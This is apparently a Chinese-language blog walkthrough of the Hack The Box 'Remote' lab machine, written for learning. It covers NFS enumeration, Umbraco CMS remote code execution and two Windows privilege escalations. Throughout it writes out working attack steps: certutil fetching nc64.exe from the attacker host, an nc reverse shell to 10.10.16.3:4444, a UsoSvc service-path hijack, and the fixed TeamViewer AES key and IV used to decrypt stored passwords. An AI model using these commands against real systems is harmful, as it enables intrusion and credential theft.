写在前面
为了学windows渗透相关内容,昨天冲动了一把买了htb一个月的会员,为了不浪费这一百块钱,接下来要好好学!
先做的第一个就是remote靶机,全程看着wp做的,相比linux,很多东西都是陌生的,还是要多做多复盘才能熟悉这个体系,让知识深入我心。
主要参考文章
官方wp
https://cn-sec.com/archives/1330676.html
https://www.cnblogs.com/zongdeiqianxing/p/13568447.html
https://segmentfault.com/a/1190000041183119#item-1
靶机信息
地址:https://app.hackthebox.com/machines/Remote
难度:easy
ip:10.10.10.180
信息收集
1 | nmap -A -p- --min-rate=1000 -T4 10.10.10.180 |
一个一个看,开了21端口,用anonymous登陆
没有什么可以利用的,切换到下一个端口
来到80端口,是个http服务,wappalyzer识别出是Umbraco的CMS
然后找到一个登陆点
发现需要email,扫目录也没扫出什么,再看看其他端口,2049端口有nfs服务,showmount看看有什么东西
showmount -e
是 NFS 命令的一部分,用于显示远程 NFS 服务器上共享的目录列表。
有个目录,把它给挂载出来
1 | mount -t nfs 10.10.10.180:/site_backups ./nfs -o nolock |
-t nfs
: 指定要挂载的文件系统类型为 NFS。
-o nolock
: 使用 nolock
选项表示禁用文件锁定机制。在某些情况下,NFS 文件系统可能会默认启用文件锁定,但是使用 nolock
选项可以禁用它。
官方给了个提示 这个链接说了UmbracoCMS的密码凭据存放处,是Umbraco.sdf,在App_Data文件夹里
1 | strings Umbraco.sdf|grep admin@ |
找到了一串md5,用网站解密,解出来一串是密码
拿着账号密码登陆刚刚的登陆框
1 | admin@htb.local:baconandcheese |
成功登陆后看到这个CMS的版本是7.12.4,在网上能找到相关的RCE漏洞
poc:https://github.com/noraj/Umbraco-RCE.git
下载下来后尝试命令执行
是成功的,接下来反弹shell
1 | python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a '/c certutil.exe -urlcache -split -f http://10.10.16.3/nc64.exe C:/Users/Public/nc.exe' |
-urlcache
: 这个参数告诉 certutil.exe
下载指定 URL 中的内容到本地。
下载一个nc到靶机,再调用,本地开启监听
1 | python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a '/c c:/users/public/nc.exe 10.10.16.3 4444 -e powershell' |
成功拿到第一个shell
提权
方法一
上传辅助工具winPEASx64.exe
1 | certutil.exe -urlcache -split -f http://10.10.16.3/winPEASany.exe a.exe |
发现用户IIS对UsoSvc服务有开启关闭权限
1 | sc.exe qc UsoSvc # 查询服务详细信息 |
思路是先停止这个服务,然后修改服务中的程序路径,再重启
1 | 1. sc.exe stop UsoSvc |
然后本地开启监听,就拿到system权限,这里有个问题是这个shell会很快就断开,可以拿到后再反弹一次
方法二
查找本机所有正在运行的进程以及它们所托管的服务,找到TeamViewer
1 | tasklist /svc |
有一个CVE-2019-18988,teamviewer将用户名密码硬编码至注册表中,加密算法是:AES-128-CBC
其中key的值:0602000000a400005253413100040000,iv的值:0100010067244F436E6762F25EA8D704 是固定的
1 | reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7 |
查看TeamViewer详细信息,找到SecurityPasswordAES的值
FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
用以下脚本解密
1 | import sys, hexdump, binascii |
解出密码:!R3m0te!
测试这个密码能否登陆
1 | crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!' |
是可以的,然后就用Evil-WinRM登陆,提权成功
总结
涉及知识点:nfs挂载,poc利用,windows反弹shell,windows提权,TeamViewer提权。。。
整体思路:ftp找不到有用文件–>80端口http服务找到CMS和登陆框–>nfs服务发现文件夹,挂载出来–>找到admin的账号密码–>登陆CMS后发现相关版本–>找到公开漏洞poc进行RCE–>获得一个shell–>自动化提权工具找到UsoSvc提权/找到有Teamviewer服务用公开方法解密出脚本登陆adminitrator
总体思路应该算是简单的,思路不曲折,过程中接触到的东西几乎都是新的,所以写下来,以后就了解了。